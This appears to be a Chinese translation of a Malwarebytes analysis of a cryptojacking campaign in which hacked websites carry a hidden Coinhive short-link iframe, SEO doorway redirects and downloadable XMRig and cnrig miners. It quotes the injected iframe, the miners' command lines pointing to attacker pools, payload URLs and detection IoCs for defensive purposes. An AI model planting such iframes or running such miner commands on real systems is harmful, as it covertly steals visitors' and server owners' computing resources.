Malwarebytes 对使用混淆 Coinhive 短链接进行浏览器挖矿的调查分析

阅读量    50596 | 评论 1   稿费 160

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

前言

在过去的几个月里,通过浏览器挖矿继续影响着大量的网站,主要依赖Coinhive臭名昭著的API。我们在这个博客上记录了一些活动,特别是Drupalgeddon,攻击者利用流行的内容管理系统(CMS)中的漏洞威胁网站,并在客户端和服务器端注入payload。

在过去的几周里,我们的爬虫已经使用各种CMS对数百个站点进行了编目,所有这些站点都被注入了相同的模糊代码,这些代码使用Coinhive的短链接来执行静默挖矿。通过围绕这一指标,我们能够确定一个更大的基础,它接收来自数千个被黑客攻击的网站的流量,作为门户将流量重定向到一个中央服务器,该服务器参与了网络和标准恶意挖矿软件的分销。

图1:受害站点挖矿过程

 

混淆注入

作为我们常规爬行的一部分,我们寻找已知最新的站点的重定向,它们大多数都与Coinhive的域名相关。我们发现了数百个新域名,所有合法网站都被注入了十六进制代码。解码后,它显示为一个不可见的请求cnhv[.]co/3h2b2的iframe(1×1像素)。我们相信这是5月底Sucuri披露的同一运动的一部分。

<i frame src="https://cnhv[.]co/3h2b2" width="1" height="1" align="left"></i frame>

图2:一个注入了混淆的iframe加载Coinhive API的WordPress站点

cnhv[.]co域名用于Coinhiv所谓的短链接,本质上是利用超链接通过解决访问者的浏览器在到达目标站点之前的一些麻烦,从而赚钱的一种方式。单击这样的链接时,你将看到一个进度条,几秒钟内,你将被重定向。通过将这些短链接加载为不合理的高散列计数的隐藏的iframes来滥用此功能。

图3:短链接对我们的CPU造成了100%的负担

在图3中,我们通过更改iframe的维度使其可见,以显示用户在页面上停留的时间,而不是在重定向之前等待几秒钟,而是在不知不觉中进行挖掘。实际上,虽然Coinhive的默认设置为1024个散列,但在加载目标URL之前,这个散列需要371.2万个散列。

 

后门启动重定向

在查询urlscan.io时,我们能够通过不同的重定向机制找到早在5月7日就已激活的同一Coinhive键。有一个特定的URI模式指示正在利用被攻击的站点执行5.45.79[.]15的重定向。这反过来通过另一个精心编制的URI创建一个重定向,其中一个参数是引用站点,最终导致启动Web挖矿程序的Coinhive短链接。

图4:通过中间服务器从受害网站加载相同的短链接

几个站点已经被注入隐藏的cnvh[.]co iframe方法,以及通过后门:

图5:一个被黑客攻击的站点,其中注入了Coinhive的短链接和多个受破坏的URL

用于重定向的URI模式可以通过以下正则表达式来标识:

图6:显示受攻击站点之间匹配的正则表达式

 

Blackhat SEO 和后门

再看看这些URI,我们可以注意到某些似乎与搜索引擎优化(SEO)相关的关键字的存在,例如:

cctvvietnam[.]com/1hqg/wzdea.php?lrscye=mongodb-count-fields
pixelbedlam.co[.]uk/9ul8/6nfme.php?lrscye=relativity-software-cost
valam[.]in/f8wb/z8d6w.php?lrscye=tutoring-in-egypt
stemat[.]pl/klwy/dzwfy.php?lrscye=vin-decoder-mercedes
whylab[.]nl/podd/1hwnz.php?lrscye=gpon-home-gateway-exploit
soho-dom[.]ru/el5p/ywuul.php?lrscye=bts-album-download-zip

我们证实,事实上,一些谷歌或必应搜索显示的结果,包括被攻击的作为“门户”网站的名单,,通常是一个交通分配系统或重定向(5.45.79[.]15)。在这种情况下,门户被用来欺骗人们下载恶意的挖矿程序,而不是他们正在寻找的文件。

图7:这个文件不是百分之百干净的

请注意5.45.79[.]15处的服务器是如何执行重定向到另一个被黑客攻击的站点(motoir[.]com)的,其中从URI传递的关键字被动态地用于创建看起来像是唯一的下载页面和文件。

图8:显示重定向序列的Web流量

 

恶意挖矿

执行时,此可执行文件将解压以下三个二进制文件:

  1. winsystem.exe XMRig矿工
  2. clock.exe 封装到EXE中的BAT文件
  3. netflash.exe: 一个用.NET编写的简单的下载程序。

批处理脚本通过设置注册表项来添加持久性,清除某些进程(可能已经在运行的挖掘程序),并通过启动以下步骤开始挖矿:

winsystem.exe -B -a cryptonight -o 37.1.197[.]121:80 -p x -u %COMPUTERNAME% +500 --max-cpu-usage=30 --donate-level=1 -k

图9:显示挖掘代码的批处理脚本

这些二进制文件基于来自一个挖矿软件的相同代码,托管在5.45.79[.]15/xxPhoto.exe上。使用VirusTotal Intelligence,我们能够在这个基础上进行扩展,并识别另一个挖矿程序,这一次是一个ELF文件,基于这个cnrig库,托管在:5.45.79[.]15/monero/cnrig。

图10:显示同一服务器上托管的ELF和Win32挖矿程序的图形

VirusTotal页面上留下的注释表明,这个挖掘程序是在受感染的服务器上发现的,并且是从一个名为zz1.php的PHP后门下载的。在搜索该文件名时,我们找到了一个可能上传到公共站点的备用文件。通过解码Base64编码的字符串,我们可以更有信心地断言这是攻击者从5.45.79[.]15/monero/cnrig下载Linux挖矿软件时使用的恶意PHP文件:

图11:PHP代码上传到负责ELF矿工下载的受害站点

检索ELF二进制文件后,使用以下命令运行它,然后以便开始挖掘:

./cnrig -o 5.61.46[.]146:80 --donate-level=1 > /dev/null 2>&1

 

代理

由于挖矿程序在没有使用钱包地址的情况下连接到私人矿池(很可能是通过代理),我们无法评估攻击者通过这一计划赚了多少钱。

实际上,位于5.45.79[.]15的服务器也有自己的ProxyPanel

图12:一个基于xmrig-Proxy的代理

XMRig版本的挖矿程序有一个公共统计页面,显示有近500台受害的机器参与了挖矿活动。对于CNRig版本,我们无法找到任何这样的统计数据,尽管被黑客攻击的服务器数量要高得多。

 

越来越多的网站

人们对加密货币的兴趣极大地改变了恶意软件领域,犯罪分子希望从中分一杯羹。因此,越来越多的网站,无论是客户端还是服务器端,都被用来分发和运营挖矿程序。

在这个活动中,我们看到了通过诱使用户下载他们在网上搜索的文件来将XMRig推送到用户的基础设施。与此同时,被黑客攻击的服务器被指示下载并运行一个Linux矿工,从而为攻击者带来利润,但也给其所有者带来了成本。最后,看到Coinhive的短链接被滥用来进行浏览器挖矿似乎是合情合理的。

Malwarebytes能阻止恶意挖矿,无论是由恶意软件触发的,还是通过受害网站加载的。

感谢@DynamicAnalysis分享的信息。

 

IoC

用于混淆cnvh[.]co注入的字符串

vhisduhvuhiusdhfbjhewvhisdhbybguyebrrfsd

Coinhive短链接

cnhv[.]co/3h2b2

Coinhive站点密钥

Dkpy5v4CBgwZqzPRosdHKDB7DQsc1Sav

用于受害站点重定向的regex

/(w{4}|w{8})/(w{5}|w{9}).php?([a-z]{6}|[a-z]{3})=[w]{1,25}-[w]{1,25}

重定向服务器

5.45.79[.]15

Windows挖矿后门

5.45.79[.]15/xxxphoto.exe
38f55239519523638dc2b3958f5e9951a6b04f813336927a4f7de717518e5b44

Linux矿工

5.45.79[.]15/monero/cnrig
c890d18fe3753a9ea4d026fc713247a9b83070b6fe40539779327501916be031

审核人:yiwang 编辑:边边

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多